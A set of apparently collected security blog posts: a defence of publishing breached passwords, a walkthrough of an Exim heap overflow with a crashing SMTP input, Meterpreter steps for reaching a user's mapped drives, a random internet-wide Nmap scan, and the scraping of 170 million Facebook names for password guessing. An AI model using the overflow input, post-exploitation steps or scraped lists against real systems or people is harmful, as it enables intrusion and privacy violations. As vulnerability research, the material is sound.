Anyway, this post is going to cover some of the pros and cons of what I do, and why I think that I'm doing the right thing, helping the world, etc.

Cons

#1: you're helping the bad guys
The issue I hear most often is that I'm making it easier for the bad guys, whether it's people trying to take over users' accounts or perform bruteforce attacks more efficiently. Now, keeping in mind that every security tool and piece of security research in some way helps both good guys and bad guys, this is why I'm comfortable that my work isn't benefiting bad guys in any significant way:

• The data I'm getting is *from* bad guys in the first place, which means that they already have it
• My data contains no personally identifiable information... more on that later
• The most common passwords are already known, and sites that use passwords like 'qwerty' on their admin account will be compromised anyways (and who would do something like that *coughdarrylcough*). The best thing I can do is raise awareness.

#2: you're actively harming people
This i largely covered by my response to the previous point, but I wanted to reiterate: I do my best to ensure nobody is harmed.

It's a well known fact that people use the same password in multiple places. If you have 100 accounts online that each require a 7+ character password (or 14+ characters if you want actual security), how are you supposed to remember them? Unique passwords for facebook, twitter, gmail, hotmail, gawker, every random forum you visit, and so on and so on. Without a password management tool, you're re-using passwords. This week I decided to bite the bullet and strengthen all my passwords. I have 14 accounts that I would consider "important", and that doesn't include my computers themselves, my PGP key, my SSH key, and so on and so on.

Now, the biggest danger in these password breaches is when somebody uses the same username/email address on a compromised site that they use on a more important site (their bank? Paypal? or, God forbid.... Facebook?) Attackers, armed with usernames and passwords, can wreak havoc on somebody's online life. I found a great story about the singles.org compromise, but unfortunately I can't find it again so this one will have to do. The basic idea is, after 4chan folks compromised singles.org's password database, they started using those passwords to log into Facebook, online banking, etc.

Another, more modern version of that is the suspected link between the Gawker compromise and Açaí berry spam. Though nothing has been proven, and just using that word is probably going to get me some spam, some people suspect a correlation between the attack and the spam. Matt Weir has tried to prove this link, but so far I believe his results have been inconclusive.

Now, what am I doing to protect people? Well, first and foremost, I don't release personally identifiable information. Ever. Most of the breaches I get contain usernames, email addresses, and sometimes more (in 3 or 4 cases, I've received entire dumps of databases!). And I don't release those. When people come to my site, they're getting aggregated password counts, which is pure statistical data, nothing more. (One thing I can't protect is people who use an email address as their password - you aren't fooling anybody!)

By making it easy to get the sanitized list of passwords, it's less likely people will look for, find, download, and distribute the full version - the version that, in my opinion, is far more dangerous.

Another point worth mentioning: I occasionally sit on lists for weeks or months to help minimize the potential damage they'll do to companies and their users. While I won't admit to sitting on any right now, I think it's important to judge whether or not a particular list can cause more harm than good if I release it, and to release it only when the amount of harm it can cause is minimized (that is, when we know the bad guys already have the list, so releasing it to the good guys doesn't matter anymore).

Pros

So, those are the only cons I can think of, though I have somewhat of a biased view. If you feel I missed something important, let me know and I'll do my best to respond!

Now, on to why I think I'm doing a *good* thing!

#1: you're spreading the message on good password hashing
When I do talks, I discuss the benefits of good password hashing. Unsalted md5, we can usually crack 90% plus of all passwords; salted md5, probably closer to 70%. If a site uses bcrypt or something similar as the primary means of storing their passwords (sorry, Gawker, but using bcrypt only helps you if you don't store a weaker type beside it), I'd bet we'd have trouble cracking more than 25% of all passwords.

To all Web developers: algorithms matter!

Let's look at it this way: say a site loses 5.3 million passwords: If those passwords are unsalted (raw-md5, as john the ripper calls it), then we hash our first guess, compare it 5.3 million times, hash our second guess, compare 5.3 million times, etc. That means that for each md5() operation we perform, we can check 5.3 million hashes. If those hashes were salted, we'd hash once, compare to the first hash, hash the same guess with the second salt, compare to the second hash, and so on 5.3 million times. That means that, with salting, one md5() operation gets us one comparison.

But what's that mean?

It means that unsalted passwords, in a list with 5.3 million passwords, will crack 5.3 million times as fast as salted passwords. I can average about 5,000,000 checks/second on my laptop against a single md5 hash, which means I can perform approximately 5,300,000 times that, or 26,500,000,000,000 checks/second against unsalted passwords.

To summarize:
Salted hashes: 5 million checks/second
Unsalted hashes 26.5 trillion checks/second

Taking it one step further, though - some algorithms, like WPA, bcrypt, and so on, are designed to be slow. Take bcrypt, for example - on my laptop, I can perform about 5 million checks/second for salted md5, and 17 checks/second for bcrypt. Compare 17 checks/second to the 26.5 trillion checks/second we saw earlier, against a large list, and the difference is astounding. Against the list of 5.3 million passwords, it would take us 86 hours to check each hash once. In other words, to guess '123456' for 5.3 million passwords, it would take over 3 days. Then guessing 'password' would take another 3 days, and so on. Basically, you could grow old and never crack more than a handful of passwords.

So, part of my goal is just that: teach people to use proper hashing algorithms!

#2: you're demonstrating why passwords are fundamentally flawed
But even with bcrypt, it isn't going to help us any if an attacker can go to the Web interface, type in an admin username (oh, let's say, 'darryl'), and try the top 10 passwords (let's say, 'qwerty') and have full access to the site. As long as passwords exist, people are going to choose stupid passwords and get compromised that way, no matter what kind of hashing, lockouts, etc are used. Additionally, people are going to install malware that logs their passwords, preventing the need from ever guessing them.

That's why passwords need to go away, or be enhanced. Somebody has to find a way to create ubiquitous two-factor authentication. That is, a second factor that can be safely used everywhere, and that's resistant to being stolen. I suspect it's a long way off, but it's something that I'll support when it starts becoming a reality.

#3: you're providing research data/analysis
Everybody loves having hard data for their research. In the past I found it excessively hard to do any kind of research on passwords because getting the various compromises into one place was nearly impossible. But now, thanks to my efforts, you can calculate some pretty cool data on password breaches.

#4: you're making password breaches less valuable
This is an interesting take on the issue that my friend had. Each breach that I mirror makes the breach itself, as well as other breaches, less valuable for a bad guy to have. It comes down to a supply and demand issue - if there's a large supply, it's unnecessary to get more. Therefore, people won't invest as much time, effort, or money into obtaining more breaches simply for their passwords.

#5: you're helping us heat our houses this winter
Every machine that's cracking passwords is also helping heat a house, feel free to thank me for it.

But when global warming comes for us, don't blame me!

Conclusion

Hopefully you have some idea, now, of why I do what I do. In my mind, there's absolutely nothing unethical about distributing breached passwords as aggregate statistics (without personally identifiable information) and it helps the community a great deal.

I'd love to hear comments from anybody who agrees or disagrees! My email is in the sidebar at the top-right, and the comments below allow anonymous posting (assuming you can do simple math :) ), so please let me know how you feel!

Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode!

First off, if you're concerned that you might have vulnerable hosts, I wrote a plugin for Nessus to help you find them (I'm not sure if it's in the ProfessionalFeed yet - if it isn't, it will be soon). There's no Nmap script yet, but my sources tell me that it's in progress (keep an eye on my Twitter account for updates on that).

The vulnerability

The vulnerability is actually a pretty old one. It was fixed two years ago (December of 2008). If you look at the patch, it doesn't tell you much. The obvious thing to do, then, is to download the code and try to break it! So let's do that...

The first step is to extract the source and compile it. My strategy was to keep running 'make' and fixing what it complained about until it shut up and compiled. Exim's compilation is annoying like that. You may have more luck reading the manual -- both good!

Once it's built, I decided to take a look at the patched function. It's called string_vformat() in src/string.c. It's very long, but here's the prototype:

BOOL string_vformat(uschar *buffer, int buflen, char *format, va_list ap);

Aha! buffer, buflen, format, and a va_list - it looks like sprintf() to me! Looking one function up, where it's called from, we find string_format(), which is basically a wrapper around string_vformat():

BOOL string_format(uschar *buffer, int buflen, char *format, ...)

Based on the patch and the nature of the function, it was obviously the %s format specifier that was being changed, and it seemed to have something to do with the bounds checking. Rather than reading/understanding all that complicated code, I decided to send stuff into that function and see if I could get it to write off its own buffer. Simple, eh?

So here's the first test I wrote (I took the lazy approach and replaced the real main() function in exim.c with this) (I swear this is the first thing I tried.. I must be lucky or something!):

int main(int argc, char *argv[])
{
    char buffer[16];
    int i, j;

    for(i = 1; i < 8; i++)
    {
        memset(buffer, 0, 16);
        string_format(buffer, i, "TEST%s",
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for(j = 0; j < 16; j++)
            printf("%02x ", buffer[j]);
        printf("\n");
    }
    return 0;
}

Simple enough! We start by setting the buffer length to 1, which should produce an empty string (since the string is terminated with a NULL byte '\x00'). Then we should see 'T', then 'TE', 'TES', etc. Here's what the result is:

$ make
[...]
$ build-Linux-x86_64/exim
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 41 41 41 41 41 41 41 41 41 41 41
54 45 53 54 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 00 00 00 00 00 00 00 00 00 00 00
Segmentation fault

Woah, what have we here? When the max length is set to 5, all hell breaks loose! It even manages to segfault my test program (thanks, obviously, to a stack overflow). A quick check shows us that the '%s' is exactly 5 characters into the string, which just happens to be 'buflen'. Testing with other strings will prove that if '%s' is at the index of 'buflen', 'buflen' is ignored and the string will be written right off the end of the buffer into whatever happens to be next.

Now, that leads to the obvious question: where can we find a case where we can control 'buflen' to ensure that '%s' ends up in exactly the right place? That's a rare condition indeed! And this is where I got a little stuck. To help track it down, I added some output to string_vformat() that displays the format string, buflen, and the output every time it runs. Then I did some normal transactions and looked at the output. Here's how (remove the newlines to test this yourself.. I only have so much horizontal room to work with):

echo -ne 'EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n
    This is some data!\r\n.\r\n' | sudo ./exim -bs

This builds an SMTP request with echo and sends it to the exim binary. 'exim -bs' is how exim is run when it's used as inetd, which means it's expecting network traffic to come in stdin. Here are the strings that came into string_vformat():

string_vformat: [250] 'initializing' => initializing
string_vformat: [48] '%s' => root
string_vformat: [128] '%s' => /root
string_vformat: [128] '%s' =>
string_vformat: [128] '%s' => /bin/bash
string_vformat: [250] 'accepting a local %sSMTP message from <%s>' =>
accepting a local SMTP message from 
string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [32768] '%s/log/%%slog' => /var/spool/exim/log/%slog
string_vformat: [8171] '%s' => SMTP connection from root
string_vformat: [16384] '%s' => 220 ankh ESMTP Exim 4.69
Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%.3s %s Hello %s%s%s' => 250 ankh Hello root at domain
string_vformat: [16384] '250 OK
' => 250 OK

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_rcpt"
string_vformat: [16384] '250 Accepted
' => 250 Accepted

string_vformat: [16384] '354 Enter message, ending with "." on a line by itself
' => 354 Enter message, ending with "." on a line by itself

string_vformat: [208] ' id=%s' =>  id=1PSggK-0002bd-0P
string_vformat: [32768] '%sMessage-Id: <%s%s%s@%s>
' => Message-Id: 

string_vformat: [32768] '%sFrom: %s%s%s%s
' => From: test@test.com

string_vformat: [32768] '%sDate: %s
' => Date: Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%s; %s
' => Received: from root (helo=domain)
        by ankh with local-esmtp (Exim 4.69)
        (envelope-from )
        id 1PSggK-0002bd-0P
        for test@localhost; Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_data"
string_vformat: [8154] '%s' => <= test@test.com U=root P=local-esmtp S=294
string_vformat: [256] '/var/spool/exim/log/%slog' => /var/spool/exim/log/mainlog
string_vformat: [16384] '250 OK id=%s
' => 250 OK id=1PSggK-0002bd-0P

string_vformat: [128] '%s lost input connection' => ankh lost input connection
string_vformat: [16384] '%s %s
' => 421 ankh lost input connection

string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [8171] '%s lost%s' => SMTP connection from root lost

Looking down that list, none of those are obvious places where we can control the length of the format string. Damn! I tried a bunch of other variations without any luck. Things weren't looking good.. I was stuck!

Fortunately, the original post had a mostly complete packet dump. After playing for awhile, I finally figured out that sending a bunch of DATA headers, plus the 50mb of garbage, did something interesting! Here's the command I used (again, remove the linebreaks to try this):

$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x100 .
    "This is more data!\r\n"x5000000 . "\r\n.\r\n"' | ./exim -bs

And here's how the log looked:

string_vformat: [8018] '%c %s' =>   This: is some data
string_vformat: [7997] '%c %s' =>   This: is some data
string_vformat: [7976] '%c %s' =>   This: is some data
string_vformat: [7955] '%c %s' =>   This: is some data
string_vformat: [7934] '%c %s' =>   This: is some data
string_vformat: [7913] '%c %s' =>   This: is some data
string_vformat: [7892] '%c %s' =>   This: is some data
.....down to 0

Great, this looks good! ... but why does it work?

Well, it turns out that if a message is rejected (because, for example, it's too large), the headers for the message are logged in a buffer, one at a time. When each one is logged, the buffer is shortened, which means by tweaking the length of the headers we can control the 'buflen' field. Since the format specifier '%s' is at the third character in the string, we want to end up with three bytes left then add a huge string to the buffer that overwrites the heap.

So now, we do a whole lot of complicated math and a ton of patience, we whittle the buffer to three bytes, then overflow the crap out of it:

$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x381 .
    "Final: AAAA\r\nBoom: " . "A"x50000 . "This is more data!\r\n"x5000000 .
    "\r\n.\r\n"' | ./exim -bs
220 ankh ESMTP Exim 4.69 Tue, 14 Dec 2010 20:19:10 -0600
250-ankh Hello ron at domain
250-SIZE 52428800
250-PIPELINING
250 HELP
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
Segmentation fault

Bodabing! Overflow successful.

The hard part is getting all the sizes, headers, etc just right. The easy part is turning this into code execution -- take a look at Metasploit to find out that part.

Who's vulnerable?

Any 4.6x version of Exim is potentially vulnerable, and possibly earlier versions too. The problem is, different versions may have different logging formats, which means the carefully selected count we did to overflow the buffer isn't going to cut it. So in reality, 4.69-debian is highly vulnerable, because that's what Metasploit and Nessus target; other versions may be as well.

So that naturally leads to the question - how many people are running Exim 4.69? Well, my friend bob, always the troublemaker, decided to scan 600,000 hosts on port 25 to see what's running. I don't recommend following in his footsteps, but this is the command he used:

$ sudo ./nmap -n -d --log-errors -PS25 -p25 --open -sV -T5 -iR 600000
    -oA output/smtp-versions

Here are the top 10 versions returned (I removed the versions that Nmap didn't recognize), along with their associated counts:

    240 25/tcp open  smtp    syn-ack Postfix smtpd
    206 25/tcp open  smtp    syn-ack Exim smtpd 4.69
     96 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.4675
     78 25/tcp open  smtp    syn-ack qmail smtpd
     77 25/tcp open  smtp    syn-ack netqmail smtpd 1.04
     40 25/tcp open  smtp    syn-ack BorderWare firewall smtpd
     22 25/tcp open  smtp    syn-ack Microsoft ESMTP
     21 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
     19 25/tcp open  smtp    syn-ack Cisco PIX sanitized smtpd
     18 25/tcp open  smtp    syn-ack Sendmail 8.13.8/8.13.8

Based on those numbers, I think it's safe to say that Exim smtpd 4.69 is the second most popular SMTP server in the universe. Here's a complete listing. I considered posting the full Nmap log, but I was worried that one of the servers' owners might notice and be upset at Bob. And I don't want to make any extra trouble for him!

Conclusion

The conclusion to this is simple: To all those people running vulnerable (or potentially vulnerable) versions of exim: patch! Patch now! This is an incredibly easy exploit to pull off, and there are public versions everywhere. Protect yourself!

And if you don't have a Nessus ProfessionalFeed, get one and you can test your network right now!

Before I talk about the fun part, where I completely faked out my demo, if you want the slides you can grab them here:
http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/. You can find more info about the conference and people's slides at the official site. And finally, here's a picture of me trying to look casual.

B-sides conferences, for those of you who don't know, are awesome little conferences that often (but not always) piggyback on other conferences. They are free (or cheap), run by volunteers, and have raw and technical talks. B-sides Ottawa was no exception, and I'm thrilled I had the chance to not only see it, but take part in it. I really hope to run our own B-sides Winnipeg next year!

Anyway, my talk was on the Nmap Scripting Engine. I wrote a talk and a couple demoes, both of which are available at the above link. My plan was to do two live demoes, coded on stage, with no safety net. Pre-recording demoes is cheating! The demoes were the following:

• Perform a DNS lookup and scan a host's mailservers
• Look up the router's MAC address in a geolocation service and show the google map

I practiced them over and over, and they were looking great, so I showed up at B-sides ready to go!

Then I found out I had no Internet connection.

Crap!

So, that night I had a lot of work to do, re-writing my entire talk to work with no Internet connection. As a natural procrastinator, I ended up hanging out with people until the middle of the night, so when I finally made it back to the hotel I couldn't do anything. So, four hours later, first thing in the morning, I got to work.

Problem 1: DNS

So the first problem was that I had to perform DNS queries, both for MX and A records. I briefly considered using a shellscript and netcat to do this, but I'm not *that* crazy. Instead, I made some minor changes to dnsxss to return a few fake mailservers for MX queries.

The default behaviour of dnsxss returns 127.0.0.1 for all A queries, and that's exactly what I wanted.

Finally, I set the DNS server of my laptop to 127.0.0.1. Now, no matter what I requested, the right results came back. Problem solved!

Problem 2: No mail servers!

The next problem I ran into is that I wanted to scan a mailserver. That was a simple matter of installing a SMTP server and making sure it ran on startup. Another option would have been faking it with netcat and a static response.

With those two problems solved, I had a workable first demo! On to the second...

Problem 3: No MAC address

My second script was supposed to look up a MAC address's geolocation information, but what can I do without a MAC address? The easy way would have been to hardcode a MAC into the script, but that's cheating. Nmap doesn't return the MAC address for the loopback address, so I had to find a better way to cheat than simply redirecting DNS.

There's probably a far better way to do this, but I decided to simply set one of my VMWare instances to auto-start on boot. I could then scan it as if I was scanning my router with no one the wiser. Of course, its MAC address isn't going to be in the geolocation database, but that's okay because....

Problem 4: Geolocation

To use Google's geolocation service, you obviously need to connect to Google (specifically, www.google.com/loc/json). Requests to www.google.com were already heading to localhost, thanks to my fake DNS server, so this was pretty easy. I created a valid JSON request that appeared to go to Google, and that appeared to have the proper MAC address embedded in it. Of course, it wasn't really going to Google, and it wasn't really the wireless MAC address. But because my Web server running on localhost always returned the proper coordinates, that didn't matter very much.

As a bonus, if I fudged up the MAC address encoding in any way, it wouldn't matter because it was returning a static page.

Problem 5: Google maps

The grand finale was going to be when I copied/pasted the latitude and longitude into Google Maps and our current location popped up. Obviously, that couldn't happen. But, my fake DNS server, along with a screenshot of Google Maps, looked surprisingly realistic.

One little point - because I wanted the URL http://maps.google.ca/maps?q=... to work, I had to add a content-type override to a .htaccess file. Not very exciting, but eh?

Done!

The week following B-sides Ottawa, I had the privilege to speak at DeepSec in Vienna, Austria (I spoke on password breaches, in case you're curious). Later that week, I was asked to do a short talk for Metalab, an Austrian hackerspace. I pulled out this talk again, without my cobbled together infrastructure, and wrote the scripts on stage. This time I had an Internet connection and guess what? They worked the first time! Sven Guckes also posted pictures of me getting ready and speaking.

And there! I *finally* posted this! See you all at Shmoocon later this week!

This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more.

http-enum.nse

I couldn't resist throwing in the full history of http-enum.nse, because I'm chatty like that. If you want to get to the good stuff, go ahead and skip to the next section.

Like most of my projects, I was inspired to work on this after I went to a conference and got some cool ideas. This one happened to be Defcon 17, and the catalyst was Kevin Johnson's talk on Yokoso. Basically, it had a list of known files, whether images or css files or anything else, and it would check if they exist in a browser's history to see if the person had been there. This was a great starting point for http-enum, so after getting Kevin's permission to use the Yokoso database, we intetegrated it and vastly improved http-enum.nse.

That was over a year ago, and just wasn't as powerful as it could be. So, finally, I decide a re-write was in order.

The logical choice for the file format seemed to be what Nikto uses. After all, we're basically implementing Nikto as an Nmap script, so why not make things inter-operable? I wrote the code, and it worked great, but I discussed the concept with Patrik from cqure.net and we quickly decided that even the Nikto format lacked the power we really wanted.

My final attempt, which I just committed to Nmap's subversion repository this week, was inspired by my success using a .lua file for my psexec configuration file. Instead of some random file format I invented, it uses a .lua file to build a table of fingerprints. You can take a look at the current version of the fingerprint file in Nmap's Web SVN. You'll see that it basically builds a table of fingerprints, each of which is in a well defined format.

Running http-enum.nse

Running http-enum.nse is pretty straight forward, since it's no different from any other script, so go ahead and skip this section if it's old news.

To use http-enum.nse, simply install the latest version of Nmap from SVN and run it:

svn co --username='guest' --password='' svn://svn.insecure.org/nmap ./nmap-svn
cd nmap-svn
./configure && make && make install
nmap --script=http-enum -p80 -d -n www.javaop.com

(www.javaop.com is my site, and is designed to come back with interesting results, so you're welcome to scan it)

http-fingerprints.lua

Each fingerprint can have multiple probes, each containing a path and a method (GET/POST/etc). We may extend this in the future to include more options, like postdata, http headers, etc, if the need arises. The nice thing about Lua tables is that it's completely extensible.

Every fingerprint also contains a match list, which defines the output and, optionally, one or more strings to match. Like Nmap's version check, this can capture portions of the match by including it in parenthesis ('()') and output them using "\1", "\2", etc.

There are other options, too, and you can find them by reading the header document of the http-fingerprints.lua file. The file should have more than enough information and examples to start building your own probes right now.

And, speaking of building your own probes...

A call to arms!

So, this is a powerful format. But, the entire http-fingerprints.lua file, as it stands, was based on static probes, so there are very few cases where it gets really interesting data. I no longer work for a place with a large network, so the best thing I can do my friend Bob can do is scan the Internet at random looking for interesting stuff. And while that's fun, it takes a long time and can upset certain organizations.

I'm hoping the community will help Nmap grow its fingerprint database. You can do this in many ways!

• Go to your major/interesting Web applications at work. Find the main page, or any unauthenticated page. Save the .html and send it, along with the path(s) where it's typically found, to me.
• Go to those applications, and write your own fingerprints. If possible, extract a version number. Send it to me.
• Go through the fingerprints I already have and see if you can improve the match. The current set of fingerprints were written before it was possible to extract versions, match text, etc.
• Go through the long list of "Potentially interesting directory" fingerprints at the end of http-fingerprints.lua and nominate ones that should be deleted or promoted to their own fingerprint.

My email is ron-at-skullsecurity.net. Or you can post it as a comment here, tweet me, etc. All my contact info is at the top right.

As you can see, there is a lot that needs to be done, but if we can make this a community effort, and everybody who reads this picks one enterprise application they use and submit a fingerprint for it, we can do some awesome stuff!

My fingerprint database is just over 1000 now.. let's see if we can double that!

It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :)

So, what's new with me?

I'm working on some cool new Nmap stuff right now, so I'm hoping to write about that in the next couple months. Web application fingerprinting isn't something I've seen done much, but I'm hoping Nmap can make some good progress on it with the help of Yokoso, Nikto, and some other resources.

About a month ago, I started working for Tenable Network Security. My job is primarily research and reverse engineering, so I've been posting little tidbits to my Twitter account. My official title is "vulnerability research engineer", which is really cool, and they're paying me to speak at a couple conferences, which is exciting. I used to have to take vacation to go to conferences!

I've also worked on a number of cool plugins at Tenable, including remote checks for ms10-070 and ms10-075. I may start writing more about my Tenable experiences here!

B-sides Ottawa

I'm going to be speaking at B-sides Ottawa on November 13. If any of you are in the area, please come by! I'll be discussing the Nmap Scripting Engine, and showing everybody how easy it is to write their own scripts. This will be my first time to Ottawa, and I have 3-4 days after the conference to hang out, so I'd love to get a tour of the city from somebody local!

Deepsec (Vienna)

Two weeks later, I'm heading to Vienna, Austria, to speak at Deepsec! The talk is on November 26 and will be about password breaches/attacks, and it will be my first time in Europe. I can't wait!

Besides security, I just moved back home after 9 weeks of staying with a friend. My place was being repaired, and the repairs took significantly longer than planned, so I got screwed on the deal. But, I have a new floor, carpet, baseboards, and it didn't cost me anything! It looks great, and I'm excited to finish the move.

When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm

Anyhow, @jcran pointed out the following things to me:

1) If you are SYSTEM, you won't have the credentials of the logged in user.

2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.

3) The process is the same for finding mapped drives in both Novell and AD.

The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:

1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)

2) getuid (verify that you are now the user)

3) run get_env (this dumps the environmental variables including the mapped drives)

4) cd <drive letter> (browse the drives at your leisure)

Simple enough.  Now if only I'd thought it out first....

Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and that's pretty cool.

Although it's awesome (and humbling) that so much attention was paid (at least for a couple days) to some fairly straight forward work I did, I want to talk about this from my perspective, including why I did it and what I think this means to the community. Then, for fun, I'll end by talking about other places this research can go and open up the floor for some discussion.

Why I did it

The biggest question I get is: why? -- and it's a valid question. Why would I "expose" public data to the public? And, do I get this excited every year when I get the new phonebook?

Well, let's talk about it!

First off, as many of you know, I'm a developer for the Nmap security scanner. Among many, many other things, I've written several of the bruteforce (aka, 'auth') scripts, which are designed to test password strength on a system. The Ncrack tool, a recent addition to the Nmap suite written by Ithilgore, is primarily designed to test password strength by guessing username/password combinations, much like Hydra and Medusa.

When I joined the Nmap project, it came with a set of 8 or so common usernames and a couple hundred common passwords. The original password list, put together by Kris Katterjohn, was entirely based on some exposed MySpace passwords. Those passwords were sub-optimal because they were phished, not leaked/breached, which means passwords with messages to the phishers, like "fuckyou", are artificially common (not to mention "suck my dick" and "piss off cracker head" -- I highly suggest searching the list for swear words and body parts, it's actually really amusing).

Fortunately for us, as password researchers, there were several more password breaches around that same time. One of the most interesting from a research perspective, due to it being the biggest breach at the time (with 188,000 records), was Phpbb. The Phpbb passwords hashed with md5 so converting them into a useful password list was a long process (that, I'm happy to report, is over 98% done -- not by me).

Not too long after the Phpbb breach, RockYou came along. I'm not going to link to my RockYou list directly, because of the size, but it consists of 32 million plaintext passwords and you can find it on my passwords page. From a password research perspective, we couldn't have asked for better data.

Anyway, with all these breaches, keeping track of the lists became a hassle. So, like anybody who doesn't want to do the work himself, I set up a wiki page to keep track of my lists. Since I created it, I've had exceptionally good feedback about from researchers around the world. As far as I know, it's the best collection of breached passwords anywhere. Nmap's current password list is based on extensive research performed by Nmap developers based on our many lists.

Now, back to the Facebook names. There are actually two sides to the situation. The first, and most obvious, occurs when Nmap (or the other tools I mentioned) are performing a password-guessing audit against a host. Before it can guess a password, the program requires a high-quality list of usernames. Those names could be harvested from the site (such as an email directory), they could be created using default usernames lists (such as 'administrator', 'web', 'user', 'guest', etc), or they could be chosen using lists of actual names (such as 'jsmith' or 'rbowes'). That's where this list comes in -- having a list of 10, 100, or 1000 names wouldn't help us much, because there are billions of people in the world, but having a sample of 170 million names is a great cross-section that gives us great insight into the most common names and, therefore, the most common usernames (who would have thought that 'jsmith' would be the most common?)

The second reason, however, is more interesting to me because it continues my research into how people choose passwords. It's a well known fact to anybody in the security field that people choose poor passwords. By studying the most common trends in password choices, we help teach people how to choose better passwords (and hopefully, someday, we'll find a way to eliminate passwords altogether). I hope to put together some numbers showing how many people use passwords based on names. Although I don't have results that I'm comfortable with releasing yet, I hope to put together some statistics in the future. Stay tuned for that!

Getting out of control

I hope now you have some insight into my motives. It was some simple research, how did it become so popular?

Well, the first reason is because when I wrote the the original blog I posted on the subject, I was somewhat careless with my language. As a result, people got the wrong impression and thought I had a lot more data than I actually did. As you can see in the original story posted by the BBC, the whole situation sounded a lot more exciting, and controversial, than it actually was.

Now, at the time that these stories were running, I wasn't at home. In fact, I on that particular day, I was at the Grand Canyon. Now, why would I post some interesting research the day before I was going to the Grand Canyon? Well, all I can say is that planning ahead is overrated. :)

Anyway, because I was out of town, and Canadian telcos charge ludicrous roaming fees, I wasn't in a hurry to answer phonecalls or spend time on the phone doing an interview. Therefore, despite making attempts to contact me, the reporter from the BBC, Daniel Emery, ended up posting the story as he understood it at the time.

Fortunately, that night, me and Daniel had a great email conversation about the work I did. The result was an updated story that very clearly spells out my motivations and, in my opinion, is one of the best stories on the topic.

By then, though, the damage was done. Hundreds of articles were published. All for something that really wasn't a big deal.

I'm thankful, though, that Facebook's response aligned with mine, and that they didn't make any kind of an attempt to pursue legal action or request that I remove the information or anything else. That's a far better response than I'd expected, to be honest, and I have to thank Facebook for that (even if they didn't invite me to their Defcon party ;) ).

What's this data mean?

So, as I said, I collected exactly two pieces of data:

1. The names of 170 million users
2. The URL of those users

I did NOT collect email addresses, friends, private data, public data, or anything else. And the URL might lead to nothing but a name and whatever picture the user chose -- that's what Facebook shares at a minimum. Downloading the actual profile pages of all the users, based on some quick calculations I made, would be about 3tb big. Of course, I don't doubt that somebody is trying. :)

So now, I want to open up the discussion a little. I've been telling reporters (and everybody else) since it started that this data doesn't mean anything, and is only interesting as a research project into common names. My challenge to you, the readers, is: what more can be done with this data?

I've had several email (and real-world) discussions with various people, all of whom will remain unnamed. Some were from businesses, some academia, and some media. Here are some thoughts people have run by me (if you see something that you don't want publicized, please let me know and I'll remove it from this page; I tried to keep these vague enough not to upset anybody, though):

• A business person suggested that companies who publish names for a living (eg, common baby names) might be interested in this data
• Other social network sites might want to check overlaps and/or build links between profiles on their site and Facebook
• In a blog comment, somebody suggested, and is working on, downloading profile pictures for facial recognition
• On IRC, we discussed the possibility of analyzing the user IDs, included in the URLs, to see if it's possible to enumerate non-searchable accounts
• A researcher suggested using this data to study the name letter effect, though I haven't collected enough information for that to be useful
• Similarly, names themselves can be indicative of race/culture -- could this be used for targeted advertising?

So, those are some ideas to expand this research, some of which are actually being worked on right now. And don't get me wrong, those are good ideas, but I'd really like to get some more. Why should we, whether we're security researchers, media, academics, etc, care about having a list of 170,000,000 names and URLs? What can we get from aggregating this data that we didn't have before? What can a good person do with it? What about an evil person?

I'd love to hear most opinions!

Background

Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog editor at the time, and I went through the usual sign off process and, eventually, published it. Facebook was none too happy, but we fought for it and, in the end, we got to leave the blog up in its original form.

Why do I bring this up? Well last week @FSLabsAdvisor wrote an interesting Tweet: it turns out, by heading to https://www.facebook.com/directory, you can get a list of every searchable user on all of Facebook!

My first idea was simple: spider the lists, generate first-initial-last-name (and similar) lists, then hand them over to @Ithilgore to use in Nmap's awesome new bruteforce tool he's working on, Ncrack.

But as I thought more about it, and talked to other people, I realized that this is a scary privacy issue. I can find the name of pretty much every person on Facebook. Facebook helpfully informs you that "[a]nyone can opt out of appearing here by changing their Search privacy settings" -- but that doesn't help much anymore considering I already have them all (and you will too, when you download the torrent). Suckers!

